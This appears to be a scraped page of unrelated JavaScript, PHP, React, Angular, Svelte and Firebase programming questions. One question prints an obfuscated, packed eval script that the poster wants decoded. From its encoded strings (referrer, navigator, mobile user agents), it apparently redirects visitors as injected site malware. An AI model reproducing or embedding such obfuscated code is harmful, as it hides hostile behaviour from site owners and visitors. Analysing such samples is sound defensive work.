Cannot access object property with array notation in forEach Loop

I am trying to iterate over an array in a forEach loop, reading out values. Actually, nothing unusual.

I’m trying to access the array[index+1] element in the loop and read out the name property (Second to last line).

In my Browser Console, I got the error:

Error loading workflow TypeError: Cannot read properties of undefined (reading ‘name’)

This is what the array looks like:

    {

    "nodes": [

        {

            "id": "Http Request",

            "name": "Http Request"

        },

        {

            "id": "Initialize input",

            "name": "Initialize input"

        }

    ],

    "links": [

        {

            "source": "Http Request",

            "target": "Initialize input",

            "value": 59

        }

    ]

}

And here is the code:

        chartData.nodes.forEach((node: any, index: any, array: any) => {
    
      if(index === 2) {
        chartData.links.push({
          source: this.splitAndJoin(actionRootNode),
          target: this.splitAndJoin(node.name),
          value: 0
        });
      }
      else if(index > 2 && index < chartData.nodes.length) {
    
        chartData.links.push({
          source: this.splitAndJoin(node.name),
          target: this.splitAndJoin(array[index+1].name),
          value: 0
        })
      }
    })

The goal is to create Data (nodes and links) for a D3.JS Chart.

Carrusel de imágenes – jquery

I have an image carousel that changes with 4 images, and I would like it to rotate one image at a time, for example, that the first 4 images appear, but as the rest of the images appear as they change.

In my jQuery code that I appended in the code I have not been able to do it.

If someone could help me I would appreciate it, I have tried several ways but I have not succeeded.

He then sent the images of how the image carousel is currently working.

When loading the first 4 images:
enter image description here

But when it loads the other images, if I don’t have 4 more images, as is the case, it leaves the carousel empty on the right side and it looks bad:

enter image description here

<section class="cat-box scroll-box scroll-box-wide tie-cat-7">
   <h2 class="cat-box-title"><a href="postscategoryworldindex.htm">Scrolling Box</a></h2>
   <div class="cat-box-content">
      <div class="group_items-box" id="wslideshow7">
         <div class="scroll-item">
            <div class="post-thumbnail">
               <a href="posts48index.htm" title="Permalink to Post With Featured Image" rel="bookmark">
               <img width="300" height="160" src="wp-contentuploads201277413497016_9434c1917a_b-300x160.jpg" class="attachment-tie-large size-tie-large wp-post-image" alt="Test 2" loading="lazy" srcset="wp-contentuploads201277413497016_9434c1917a_b-300x160.jpg 300w, wp-contentuploads201277413497016_9434c1917a_b-620x330.jpg 620w" sizes="(max-width: 300px) 100vw, 300px"> </a>
            </div>
            <h3 class="post-box-title"><a href="posts48index.htm" title="Permalink to Post With Featured Image" rel="bookmark">Post With Featured Image</a></h3>
            <p class="post-meta">
               <span class="tie-date">July 30, 2012</span> 
            </p>
         </div>
         <div class="scroll-item">
            <div class="post-thumbnail">
               <a href="posts33index.htm" title="Permalink to Post with SoundCloud" rel="bookmark">
               <img width="300" height="160" src="wp-contentuploads201274088743235_690996beef_o-300x160.jpg" class="attachment-tie-large size-tie-large wp-post-image" alt="" loading="lazy" srcset="wp-contentuploads201274088743235_690996beef_o-300x160.jpg 300w, wp-contentuploads201274088743235_690996beef_o-620x330.jpg 620w" sizes="(max-width: 300px) 100vw, 300px"> </a>
            </div>
            <h3 class="post-box-title"><a href="posts33index.htm" title="Permalink to Post with SoundCloud" rel="bookmark">Post with SoundCloud</a></h3>
            <p class="post-meta">
               <span class="tie-date">July 30, 2012</span> 
            </p>
         </div>
         <div class="scroll-item">
            <div class="post-thumbnail">
               <a href="posts30index.htm" title="Permalink to Post with Image + Lightbox" rel="bookmark">
               <img width="300" height="160" src="wp-contentuploads201274756831209_cfe3227937_b-300x160.jpg" class="attachment-tie-large size-tie-large wp-post-image" alt="" loading="lazy" srcset="wp-contentuploads201274756831209_cfe3227937_b-300x160.jpg 300w, wp-contentuploads201274756831209_cfe3227937_b-620x330.jpg 620w" sizes="(max-width: 300px) 100vw, 300px"> </a>
            </div>
            <h3 class="post-box-title"><a href="posts30index.htm" title="Permalink to Post with Image + Lightbox" rel="bookmark">Post with Image + Lightbox</a></h3>
            <p class="post-meta">
               <span class="tie-date">July 30, 2012</span> 
            </p>
         </div>
         <div class="scroll-item">
            <div class="post-thumbnail">
               <a href="posts24index.htm" title="Permalink to Post With Video" rel="bookmark">
               <img width="300" height="160" src="wp-contentuploads201275709944739_578bc434a7_b-300x160.jpg" class="attachment-tie-large size-tie-large wp-post-image" alt="" loading="lazy" srcset="wp-contentuploads201275709944739_578bc434a7_b-300x160.jpg 300w, wp-contentuploads201275709944739_578bc434a7_b-620x330.jpg 620w" sizes="(max-width: 300px) 100vw, 300px"> </a>
            </div>
            <h3 class="post-box-title"><a href="posts24index.htm" title="Permalink to Post With Video" rel="bookmark">Post With Video</a></h3>
            <p class="post-meta">
               <span class="tie-date">July 30, 2012</span> 
            </p>
         </div>
         <div class="scroll-item">
            <div class="post-thumbnail">
               <a href="posts14index.htm" title="Permalink to Maecenas mattis, tortor ut posuere aliquam" rel="bookmark">
               <img width="300" height="160" src="wp-contentuploads201277543602860_c741e700c0_b-300x160.jpg" class="attachment-tie-large size-tie-large wp-post-image" alt="" loading="lazy" srcset="wp-contentuploads201277543602860_c741e700c0_b-300x160.jpg 300w, wp-contentuploads201277543602860_c741e700c0_b-620x330.jpg 620w" sizes="(max-width: 300px) 100vw, 300px"> </a>
            </div>
            <h3 class="post-box-title"><a href="posts14index.htm" title="Permalink to Maecenas mattis, tortor ut posuere aliquam" rel="bookmark">Maecenas mattis, tortor ut posuere aliquam</a></h3>
            <p class="post-meta">
               <span class="tie-date">July 28, 2012</span> 
            </p>
         </div>
         <div class="scroll-item">
            <div class="post-thumbnail">
               <a href="posts39index.htm" title="Permalink to Elementum mauris aliquam ut" rel="bookmark">
               <img width="300" height="160" src="wp-contentuploads201174148265552_7b438be4ab_b-300x160.jpg" class="attachment-tie-large size-tie-large wp-post-image" alt="" loading="lazy" srcset="wp-contentuploads201174148265552_7b438be4ab_b-300x160.jpg 300w, wp-contentuploads201174148265552_7b438be4ab_b-620x330.jpg 620w" sizes="(max-width: 300px) 100vw, 300px"> <span title="Not bad !" class="stars-large"><span style="width:72%"></span></span>
               </a>
            </div>
            <h3 class="post-box-title"><a href="posts39index.htm" title="Permalink to Elementum mauris aliquam ut" rel="bookmark">Elementum mauris aliquam ut</a></h3>
            <p class="post-meta">
               <span class="tie-date">July 30, 2011</span> 
            </p>
         </div>
        
         
         <div class="clear"></div>
      </div>
      <div class="scroll-nav"><a id="nextw7" href="#"><i class="tieicon-right-open"></i></a><a class="prev-scroll" id="prevw7" href="#"><i class="tieicon-left-open"></i></a></div>
   </div>
</section>
<!--<div class="clear"></div>-->
<!-- slider1 -->
<script type="text/javascript">
   jQuery(document).ready(function() {
    var vids = jQuery("#wslideshow7 .scroll-item");
    for(var i = 0; i < vids.length; i+=4) {
      vids.slice(i, i+4).wrapAll('<div class="group_items"></div>');
    }
    jQuery(function() {
        jQuery('#wslideshow7').cycle({
            fx:     'scrollHorz',
            timeout: 3000,
            //pager:  '#nav7',
            slideExpr: '.group_items',
            prev:   '#prevw7',
            next:   '#nextw7',
            speed: 300,
            pause: true
        });
    });
    });
</script>

How do I create objects with computed property names?

Im trying to build an object out of checkbox selections from different components.

I have a basic idea of how to do it, but I’m stuck on building out the object. I am getting “undefined” when trying to add to an object in Angular.

My goal is to have an object like this, which builds after each checkbox is checked in the button menu:

{
  "first":{
     "0" : "one",
     "1" : "two",
  },
  "second":{
     "0": "five",
     "1": "six",
     "2": "seven",
   },
   "third":{
     "0": "eight",
     "1": "nine",
    }
  }
}

Right now Im getting something like this, and the values are overwritten, and not adding like I want them to:

{ "first": { "1": "two" }, "second": { "1": "six" } }

Im not sure what I am missing.

The button handler code is as below:

  buttonHandler(event: any) {
    console.log('event', event);

    let pillName = event.pillName;
    let filterName = event.filterValue;
    let idx = event.index;

    this.testObj[pillName] = {  [idx]: filterName };

    console.log('testObj', this.testObj);
  }

The stackblitz is here: https://stackblitz.com/edit/kingsbury-angular-w-material-fyzxhd?file=src%2Fapp%2Fapp.component.ts

I have @Inputs and @Outputs sending and receiving the data OK, but Im lost on the object creation logic. Any help is appreciated!

How to load a local json file to make a bar race chart?

I’m using this code and it works fine with a json available in Internet but I can’t figure out how to load this same json from my computer.

I think we need to change these statements :

dataset = await fetch(
    'https://demo-live-data.highcharts.com/population.json'
).then(response => response.json());

Any help is appreciated guys 😉

How to decode this encrypted javascript? help me

How can I decode this javascript? Can you help me?

<script>
    var _0x42c7=["x31x61x20x68x3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x7Dx3Bx31x67x28x73x2Dx2Dx29x7Bx55x28x4Bx5Bx73x5Dx29x7Bx50x3Dx50x5Bx64x5Bx31x32x5Dx5Dx28x31x76x20x31x75x28x64x5Bx31x35x5Dx2Bx44x28x73x29x2Bx64x5Bx31x35x5Dx2Cx64x5Bx31x36x5Dx29x2Cx4Bx5Bx73x5Dx29x7Dx7Dx3Bx47x20x50x7Dx28x64x5Bx38x5Dx2Cx31x37x2Cx31x37x2Cx64x5Bx31x31x5Dx5Bx64x5Bx31x30x5Dx5Dx28x64x5Bx39x5Dx29x2Cx30x2Cx7Bx7Dx29x29x3Bx5Ax5Bx64x5Bx31x37x5Dx5Dx3Dx4Ax28x29x7Bx47x20x31x72x7D","x7C","x73x70x6Cx69x74","x7Cx7Cx7Cx7Cx7Cx7Cx7Cx7Cx7Cx7Cx78x36x35x7Cx78x37x32x7Cx78x36x39x7Cx5Fx30x78x37x36x33x38x7Cx78x37x34x7Cx78x32x32x7Cx78x32x38x7Cx5Fx30x78x66x35x37x63x7Cx7Cx78x32x39x7Cx78x37x43x7Cx78x36x45x7Cx78x36x43x7Cx78x36x31x7Cx78x33x44x7Cx78x36x33x7Cx7Cx78x36x46x7Cx5Fx30x78x33x35x37x65x78x35x7Cx78x32x30x7Cx78x37x33x7Cx78x36x36x7Cx78x33x30x7Cx78x36x34x7Cx78x36x44x7Cx78x36x37x7Cx78x37x44x7Cx78x37x42x7Cx78x37x35x7Cx5Fx30x78x33x35x37x65x78x37x7Cx78x33x32x7Cx78x36x32x7Cx72x65x74x75x72x6Ex7Cx78x37x37x7Cx78x36x38x7Cx66x75x6Ex63x74x69x6Fx6Ex7Cx5Fx30x78x33x35x37x65x78x36x7Cx78x32x42x7Cx78x37x30x7Cx78x33x31x7Cx78x33x45x7Cx5Fx30x78x33x35x37x65x78x33x7Cx78x33x33x7Cx78x32x37x7Cx78x33x43x7Cx78x32x46x7Cx69x66x7Cx78x32x35x7Cx5Fx30x78x33x35x37x65x78x38x7Cx5Fx30x78x33x35x37x65x78x34x7Cx74x6Fx53x74x72x69x6Ex67x7Cx64x6Fx63x75x6Dx65x6Ex74x7Cx7Cx7Cx7Cx7Cx7Cx7Cx7Cx7Cx78x32x45x7Cx78x37x36x7Cx76x61x72x7Cx72x65x66x65x72x72x65x72x7Cx78x37x38x7Cx78x33x34x7Cx78x37x39x7Cx78x35x43x7Cx77x68x69x6Cx65x7Cx78x33x38x7Cx78x34x31x7Cx78x33x37x7Cx78x32x31x7Cx78x33x36x7Cx78x32x43x7Cx78x32x44x7Cx78x33x39x7Cx78x33x35x7Cx78x33x42x7Cx66x61x6Cx73x65x7Cx78x35x34x7Cx4Dx69x6Ex69x7Cx52x65x67x45x78x70x7Cx6Ex65x77x7Cx53x74x72x69x6Ex67x7Cx33x36x7Cx6Ex61x76x69x67x61x74x6Fx72x7Cx65x76x61x6Cx7Cx4Fx70x65x72x61x7Cx49x45x4Dx6Fx62x69x6Cx65x7Cx69x50x61x64x7Cx69x50x6Fx64x7Cx42x6Cx61x63x6Bx42x65x72x72x79x7Cx78x34x46x7Cx77x65x62x4Fx53","","x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65","x72x65x70x6Cx61x63x65","x5Cx77x2B","x5Cx62","x67"];eval(function(_0x4512x1,_0x4512x2,_0x4512x3,_0x4512x4,_0x4512x5,_0x4512x6){_0x4512x5= function(_0x4512x3){return (_0x4512x3< _0x4512x2?_0x42c7[4]:_0x4512x5(parseInt(_0x4512x3/ _0x4512x2)))+ ((_0x4512x3= _0x4512x3% _0x4512x2)> 35?String[_0x42c7[5]](_0x4512x3+ 29):_0x4512x3.toString(36))};if(!_0x42c7[4][_0x42c7[6]](/^/,String)){while(_0x4512x3--){_0x4512x6[_0x4512x5(_0x4512x3)]= _0x4512x4[_0x4512x3]|| _0x4512x5(_0x4512x3)};_0x4512x4= [function(_0x4512x5){return _0x4512x6[_0x4512x5]}];_0x4512x5= function(){return _0x42c7[7]};_0x4512x3= 1};while(_0x4512x3--){if(_0x4512x4[_0x4512x3]){_0x4512x1= _0x4512x1[_0x42c7[6]]( new RegExp(_0x42c7[8]+ _0x4512x5(_0x4512x3)+ _0x42c7[8],_0x42c7[9]),_0x4512x4[_0x4512x3])}};return _0x4512x1}(_0x42c7[0],62,105,_0x42c7[3][_0x42c7[2]](_0x42c7[1]),0,{}))
  </script>

Why do i keep getting undefined when I search for elements of an array in javascript?

I’ve an asp.net core with react project, I have this code here inside my react component:

const staticTxt = stattxt.filter(x => x.id === userIdD && x.taskId === item.id)[0];

I did a console log for each variable in this line and I get this for stattxt:

[
    {
        "id": 1002,
        "taskId": 3,
        "value": "some content"
    },
    {
        "id": 1002,
        "taskId": 5,
        "value": "some content"
    }
]

and this for useridD and item.id:

userIdD: 1002
item.id: 5

why does staticTxt keeps returning undefined? I’ve also tried .find but it returns the same result.

Given code is of a website I’ve been working on recently and it seems to be using significant power. I can’t figure out the reason

The code below is updating time on an html page which is displaying current time (hours and mins only). Whenever I open this page locally my laptop says chrome is using significant energy.

class Cons {
        constructor() {
            this.updateTime()
            this.greet()
        }

        createspans(e, p) { // for creating span for each letter in a word
            var placeholder = p;
            var s = F.Is.str(e) ? e.split('') : e.toString().split('')
            s.forEach(p => {
                var span = F.Cr('span');
                span.innerHTML = p;
                placeholder.append(span);
            })
        }

        async updateTime() {
            this.syt = F.C.snd() //system time, it uses set interval of 200ms
            var ht = F.G.qs('#time span').innerHTML.match(/[^A-Za-z / <> ^rnt]/g)?.join('') // time displayed on screen
            if (ht !== this.syt) { //if time displayed on screen is != system time
                F.G.qs('#time span').innerHTML = '' //queryselector 
                this.createspans(F.C.snd(), F.G.qs('#time span'))
            }
            setInterval(this.updTm.bind(this), 500)
        }

        greet() {
            var usn = 'Mr G';
            var grt;
            if (F.C.hrs() < 12 && F.C.hrs() > 2) {
                grt = 'Morning'
            } else {
                grt = 'Evening'
            };
            this.createspans(grt, F.G.qs('#greet>span:nth-child(2)'))

        }

    }

this is just a sample code quite similar to mine

The code runs fine and the time is updating too but the system says chrome is using significant energy whenever I open this page. I tried safari too but same result.

rush is installed on every commit

We have a git pre-commit hook set up that runs prettier through rush, following the instructions here

node common/scripts/install-run-rush.js prettier || exit $?

Every time I commit, I get a new install of rush. My guess is that there’s something wrong in my env that’s keeping this script from recognizing that rush is already installed, but I can’t figure out what based on inspecting the script.

What could I change or investigate?

React – const changing with state but I don’t want it too

I’m facing this issue in react:

I have an array in a state and I also need to track it’s length so that I can know when it’s been modified.

const [myArray, setMyArray] = useState(["Some Value", "Some other value"]); 

const myArrayLength = myArray.length; 

At some point in the code:

setMyArray([ ...myArray, "add a value"]);

console.log(myArray.length) // Output: 3
console.log(myArrayLength) // Output: Also 3!! - wish it stayed at 2

Ideally I would want the const myArrayLength to not change dynamically as the state of myArray changes so that I can track when myArrayLength !== myArray.length

I could create a whole new state: const [myArrayLength, setMyArrayLength] = useState(myArray.length); and it would work

But it doesn’t feel right because I would never use the setter setMyArrayLength

Open to any ideas! Maybe I’m going about this whole thing the wrong way

Firebase Realtime Database Issues

i have a simple website where user enters some details and a card is generated on a next page with a number that is taken from realtime database of firebase that is where i’m stuck.

the problem is when ever I try to get value from firebase nothing happens and I don’t even get any errors or warnings either. same happens when I try to update value using the increment function no errors no warnings.

my code

import { getDatabase, ref, increment, child, get, update } from 'https://www.gstatic.com/firebasejs/10.0.0/firebase-database.js'

const firebaseConfig = {
    apiKey: "xxxxxx",
    authDomain: "xxxxxx",
    databaseURL: "xxxxxx",
    storageBucket: "xxxxx",
    messagingSenderId: "xxxxxxxx",
    appId: "xxxxxxxx",
    measurementId: "xxxxxx",
    projectId: "xxxxxx"
};


const app = initializeApp(firebaseConfig);
const db = getDatabase(app);

function UpdatePassNumber() {
    const dbRef = ref(db);

    var updates = {
        CurrentPassNumber : increment(1)
    };

    update(dbRef, updates).then(() => {
        alert("Data saved successfully.");
    }).catch((error) => {
        console.error(error);
    });
}
function GatherData() {

    if (!navigator.onLine) {
        console.log('You are offline');
    }

    get(child(ref(getDatabase()), `GatePassNumber/CurrentPassNumber`)).then((snapshot) => {
        console.log("got here");
        if (snapshot.exists()) {
            console.log(snapshot.val() + " From Here");
        } else {
            console.log("No data available");
        }
    }).catch((error) => {
        console.error("Get Error : " + error);
    });

    
}```
I have no idea why this is happening or why isn't anything happening.

I tried checking console log to see where am i getting stuck but nothing at all both functions are getting executed from start to finish.

I also waited for 10 to 15 min for response but nothing.

JS sending data to php to save to XML – returning success without saving

`HTML/JS sending data to php (on localhost) to save to XML file, it is returning success without saving data in to XML… the XML file is in the root directory. I don’t find any errors when i run this function.

following js function is preparing the data from the page and passing it to php.

function writeToXML(saveMemberId) {
console.log("IN writeToXML");

// Get the value from the HTML input field
var memberID = document.getElementById('member-id').value;
var fname = document.getElementById('first-name').value;
var lname = document.getElementById('last-name').value;
var mname = document.getElementById('middle-name').value;


// Construct the URL with query parameters
var url = 'http://localhost:8080/saveXML.php';
url += '?memberId=' + encodeURIComponent(memberID);
url += '&fname=' + encodeURIComponent(fname);
url += '&lname=' + encodeURIComponent(lname);
url += '&mname=' + encodeURIComponent(mname);
url += '&oname=' + encodeURIComponent(oname);


// Make the AJAX request
$.ajax({
url: url,
type: 'GET',
success: function(response) {
console.log('**XML FILE UPDATE SUCCESS****');
alert("**XML FILE UPDATE SUCCESS****");
},
error: function(xhr, status, error) {
console.log('**XML FILE UPDATE FAILED****:', error);
alert("**XML FILE UPDATE FAILED**** ERROR:" + error);
}
});
}`

this is the php code in saveXML.php in the root directory of localhost trying to save it to familyTree.xml which is in the same directory.

<?php
header("Access-Control-Allow-Origin: http://localhost:8080");
header("Access-Control-Allow-Methods: POST, GET, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");
error_reporting(E_ALL);

// Get the values from the GET parameters
$memberIdValue = $_GET['memberId'];
$fnameValue = $_GET['fname'];
$lnameValue = $_GET['lname'];
$mnameValue = $_GET['mname'];
$onameValue = $_GET['oname'];



// Define the key value to search for in the XML file
$memberId = $memberIdValue;

// Load the XML file
$xmlFile = 'familyTree.xml';
$xml = simplexml_load_file($xmlFile);

if ($xml === false) {
    echo 'Failed to load XML file.';
} else {
// Find the person element with the specified memberId
$person = $xml->xpath('//person[memberId="' . $memberId . '"]');
if (!empty($person)) {
    $person[0]->fname = $fnameValue;
    $person[0]->lname = $lnameValue;
    $person[0]->mname = $mnameValue;
    $person[0]->oname = $onameValue;
    

    // Save the modified XML back to the file
    $result = $xml->asXML($xmlFile);
    if ($result !== false) {
        if (file_put_contents($xmlFile, $result) !== false) {
            echo 'XML file updated successfully.';
        } else {
            echo 'Failed to save XML file.';
        }
    } else {
        echo 'Failed to update XML file.';
    }
} else {
    echo 'Person with memberId ' . $memberId . ' not found in the XML file.';
}`your text`
}

?>

why the data is not saving, also why the response is save success.`

Can’t deply my project on vercel this error showed up

npm ERR! code ERESOLVE
npm ERR! ERESOLVE could not resolve
npm ERR!
npm ERR! While resolving: [email protected]
npm ERR! Found: [email protected]
npm ERR! node_modules/react
npm ERR! react@”^18.2.0″ from the root project
npm ERR! peer react@”*” from @icons/[email protected]
npm ERR! node_modules/@icons/material
npm ERR! @icons/material@”^0.2.4″ from [email protected]
npm ERR! node_modules/react-color
npm ERR! react-color@”^2.19.3″ from the root project
npm ERR! 18 more (@testing-library/react, react-chartjs-2, react-color, …)
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer react@”^15.0.0 || ^16.0.0″ from [email protected]
npm ERR! node_modules/react-credit-cards
npm ERR! react-credit-cards@”^0.8.3″ from the root project
npm ERR!
npm ERR! Conflicting peer dependency: [email protected]
npm ERR! node_modules/react
npm ERR! peer react@”^15.0.0 || ^16.0.0″ from [email protected]
npm ERR! node_modules/react-credit-cards
npm ERR! react-credit-cards@”^0.8.3″ from the root project
npm ERR!
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with –force or –legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR!
npm ERR!
npm ERR! For a full report see:
npm ERR! /vercel/.npm/_logs/2023-07-07T18_42_48_169Z-eresolve-report.txt
npm ERR! A complete log of this run can be found in:
npm ERR! /vercel/.npm/_logs/2023-07-07T18_42_48_169Z-debug-0.log
Error: Command “npm install” exited with 1

I tried to Redploy my webSite

What is standard practice for storing themes/color palettes in Svelte?

I am new to front-end development. I have scientific computing experience and am building a Svelte application for the first time. I want my fonts/colors/etc (call it a “theme”) to be consistent between my various routes/pages. Of course, relying on myself to manually set the style for every HTML element is time-consuming and extremely error-prone. Naturally, this could be remedied by CSS; however, this really only works for a single .svelte file. I.e., I don’t want lines and lines of boilerplate CSS in every single page for my app.

I would rather store my theme in a separate file (partly because I want to customize my color variable names for ease of use) and reference this theme on each page, then set the theme in (preferably) just a few lines.

tl;dr: How can I automatically apply a preset theme to a svelte file, and how should I store this file?

I have looked into using CSS variables, which might be a soft solution, but this does not answer my question on how to create/store a theme of my own.

Not able to get value set inside foreach

I have a foreach loop, where I am creating an object. I am able to get that object inside forEach loop, but not able to get outside loop. Can anyone suggest what I am doing wrong. Here is my code:

Object.keys(myObj).forEach(async function (name) {
   let dataStr = await getData(name)
   if(dataStr!==''){
     versionError.push(dataStr)
     errorObj = JSON.stringify(versionError)
   }
   console.log(errorObj) //getting object 
 })
console.log(errorObj) //not getting object